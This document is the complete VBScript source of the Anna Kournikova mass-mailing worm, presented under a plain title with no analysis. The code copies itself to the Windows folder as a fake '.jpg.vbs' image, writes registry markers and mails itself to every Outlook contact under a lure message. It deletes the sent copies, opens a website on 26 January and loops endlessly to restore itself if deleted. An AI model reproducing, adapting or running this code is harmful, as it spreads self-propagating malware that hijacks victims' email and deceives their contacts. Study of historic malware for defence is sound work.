Anni Kournikova Virus Source Code

'Vbs.OnTheFly Created By OnTheFly
On Error Resume Next
Set WScriptShell= CreateObject("WScript.Shell")
WScriptShell.regwrite "HKCU\software\OnTheFly\", "Worm made with Vbswg 1.50b"
Set FileSystemObject=Createobject("scripting.filesystemobject")
FileSystemObject.copyfile wscript.scriptfullname,FileSystemObject.GetSpecialFolder(0) &
"\AnnaKournikova.jpg.vbs"
if WScriptShell.regread ("HKCU\software\OnTheFly\mailed") <> "1" then
doMail()
end if
if month(now)=1 and day(now)=26 then
WScriptShell.run "Http://www.dynabyte.nl",3,false
end if
Set thisScript=FileSystemObject.opentextfile(wscript.scriptfullname, 1)
thisScriptText=thisScript.readall
thisScript.Close
Do
If Not (FileSystemObject.fileexists(wscript.scriptfullname)) Then
Set newFile=FileSystemObject.createtextfile(wscript.scriptfullname, True)
newFile.write thisScriptText
newFile.Close
End If
Loop
Function doMail()
On Error Resume Next
Set OutlookApp=CreateObject("Outlook.Application")
If OutlookApp="Outlook" Then
Set MAPINameSpace=OutlookApp.GetNameSpace("MAPI")
Set AddressLists=MAPINameSpace.AddressLists
For Each address In AddressLists
If address.AddressEntries.Count <> 0 Then
entryCount=address.AddressEntries.Count
For i=1 To entryCount
Set newItem=OutlookApp.CreateItem(0)
Set currentAddress=address.AddressEntries(i)
newItem.To=currentAddress.Address
newItem.Subject="Here you have, ;o)"
newItem.Body="Hi:" & vbcrlf & "Check This!" & vbcrlf & ""
set attachments=newItem.Attachments
attachments.Add FileSystemObject.GetSpecialFolder(0) & "\AnnaKournikova.jpg.vbs"
newItem.DeleteAfterSubmit=True
If newItem.To <> "" Then
newItem.Send
WScriptShell.regwrite "HKCU\software\OnTheFly\mailed", "1"
End If
Next
End If
Next
end if
End Function
'Vbswg 1.50b